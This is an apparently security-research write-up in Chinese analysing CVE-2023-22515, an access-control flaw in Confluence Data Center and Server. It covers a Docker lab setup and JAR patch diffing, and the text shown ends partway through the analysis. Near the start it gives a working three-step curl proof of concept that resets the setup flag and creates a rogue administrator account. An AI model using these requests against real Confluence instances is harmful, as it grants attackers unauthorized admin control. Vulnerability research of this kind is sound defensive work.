CVE-2023-22515 Confluence Data Center and Server 访问控制漏洞分析详情
从官方通告到 PoC 的分析全过程。
CVE-2023-22515 Confluence Data Center and Server 访问控制漏洞分析详情
从官方通告到 PoC 的分析全过程。
参考
https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis
漏洞细节
Atlassian 已了解到少数客户报告的一个问题,即外部攻击者可能已利用公开访问的 Confluence 数据中心和服务器实例中一个先前未知的漏洞,创建未经授权的 Confluence 管理员帐户并访问 Confluence 实例。
Affects Version/s:8.0.0, 8.1.0, 8.2.0, 8.3.0, 8.4.0, 8.5.0, 8.0.1, 8.0.2, 8.0.3, 8.0.4, 8.1.1, 8.1.3, 8.2.1, 8.1.4, 8.2.2, 8.2.3, 8.3.1, 8.3.2, 8.4.1, 8.4.2, 8.5.1
Docker 环境配置
docker-compose.yml
version: '3.3'
services:
web:
image: atlassian/confluence-server:8.3.3
ports:
- "8090:8090"
- "5005:5005"
depends_on:
- db
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
Compose 构建
docker compose up -d
使用谷歌账号登陆官方页面,申请获取使用许可。
输入许可之后配置数据库,填写对应的 IP 和其他信息即可。
- Database name : postgres
- Username : postgres
- Password : postgres
等待片刻之后即可完成安装配置。
开始一个新的空间即可正常使用。
PoC
这里先给出 PoC。
curl -vk http://192.168.86.50:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=haxor&fullName=haxor&email=haxor%40localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://192.168.86.50:8090/setup/setupadministrator.action
curl -vk -X POST -H "X-Atlassian-Token: no-check" http://192.168.86.50:8090/setup/finishsetup.action
Diff
JAR 包 Diff 准备
使用这条命令,会把文件位置目录或者文件名包含 confluence
所有的 JAR 文件都复制到 /confluence_jar
目录。
find / -name "*confluence*.jar" -exec cp {} /confluence_jar \;
再粘贴出来分析。
docker cp 129a2b83b54e:/confluence_jar ./
压缩方便文件传输。
zip -r confluence_8.3.2_jar.zip ./confluence_jar/
IDEA Diff
管理员权限执行,重命名文件。将文件名称不同的改成相同,IDEA 才可以自动对比。
Get-ChildItem -Recurse | ForEach-Object {
$filename = $_.Name
if($filename -match "8.3.4"){
$filename = $filename -replace "8.3.4","8.3.x"
Rename-Item $_.FullName $filename
}
}
IDEA 打开 JAR 所在的文件夹,右键 Diff
从何入手
实际上 Diff 可以看到真正有变化的 JAR 文件只有以下 7 个,也就意味着 8.3.2 到 8.3.3 肯定在其中:
com.atlassian.confluence.plugins.confluence-sal-plugin-8.3.x.jar
com.atlassian.confluence.plugins.confluence-sal-setup-plugin-8.3.x.jar
com.atlassian.confluence.plugins.confluence-ui-rest-8.3.x.jar
com.atlassian.confluence.plugins_confluence-rpc-plugin-8.3.x.jar
com.atlassian.confluence.rest.confluence-rest-plugin-8.3.x.jar
com.atlassian.confluence_confluence-8.3.x.jar
com.atlassian.confluence_confluence-hibernate-8.3.x.jar
接着,首先我们可以看到通告中的说到可以在 log 日志中查看到异常的请求信息。
Confluence 主目录中 atlassian-confluence-security.log 中的异常消息中存在 /setup/setupadministrator.action 字符串。
通过执行命令 grep -rn "setupadministrator"
查询,我在 opt/atlassian/confluence/confluence/setup/setupadministrator.vm
文件中发现以下内容。
#* @vtlvariable name="action" type="com.atlassian.confluence.setup.actions.SetupAdministrator" *#
<html>
<head>
<title>$action.getText("title.setup.administrator")</title>
</head>
<body>
#parse ("/setup/analytics-data.vm")
#parse ("/setup/setup-button.vm")
#parse ("/template/includes/actionerrors.vm")
<p>$action.getText("setupadmin.step.description")</p>
<h2>$action.getText("admin.configure.title")</h2>
<form name="setupadministratorform" method="POST" action="setupadministrator.action" class="aui">
#form_xsrfToken()
#stextfield("label='username.name'" "name='username'" "theme='aui'"
"required=$action.getText('required.field')")
#stextfield("label='admin.fullname.name'" "name='fullName'" "theme='aui'"
"required=$action.getText('required.field')")
#stextfield("label='email.name'" "name='email'" "theme='aui'"
"required=$action.getText('required.field')"
"type=email")
#spassword("label='password.name'" "name='password'" "required=$action.getText('required.field')")
#spassword("label='confirm.name'" "name='confirm'" "required=$action.getText('required.field')")
<div class="buttons-container">
<div class="buttons">
#setupNextButton(false)
</div>
</div>
</form>
</body>
</html>
看起来就是我们一开始安装配置的时候的,设置管理员的 HTML 页面。
而且很明显,处理这个 HTML 页面的类是 com.atlassian.confluence.setup.actions.SetupAdministrator
。直接在提取出来的所有 JAR 文件中搜索关键字符串 SetupAdministrator
,发现关联到一个叫 com.atlassian.confluence_confluence-8.3.2.jar
的 JAR 文件。
> grep -rn "SetupAdministrator"
Binary file confluence_jar/com.atlassian.confluence_confluence-8.3.2.jar matches
很明显,这个文件正好本次打了补丁做了修改。我们 Diff 查看这个文件。然而类 SetupAdministrator
并没有发生变化。
虽然已经定位到具体的 JAR 文件,但是文件中依然有许多文件可以 Diff。我们回到通告中的信息。
- unexpected members of the
confluence-administrators
group- unexpected newly created user accounts
综合下来看,是利用安装配置的时候,设置第一个管理员账号的漏洞重新设置非预期的新管理员,接下来我们需要查看设置管理员账号的访问控制过程。
@PermittedMethods({HttpMethod.POST})
@RequireSecurityToken(true)
public String execute() throws Exception {
this.embeddedCrowdBootstrap.bootstrap();
this.createDefaultGroups();
this.setDefaultPermissions();
this.createAdmin();
this.loginAdmin();
this.getSetupPersister().progessSetupStep();
this.getSetupPersister().progessSetupStep();
if ("install".equals(this.getSetupPersister().getSetupType())) {
return "quick-setup";
} else {
return "custom".equals(this.getSetupPersister().getSetupType()) ? "custom-setup" : super.execute();
}
}
POST 请求直接就可以新建一个新的管理员账户了吗?我们尝试一下。
很明显,这里被判断了安装已经完成了,无法设置新的管理员。接下来我们需要知道这个逻辑是在哪里判断的,这个漏洞应该是直接绕过了这个的判断逻辑,从而可以添加新的管理员账户。我们需要找一个地方来断点查看 /setup/setupadministrator.action
的拦截逻辑在哪里。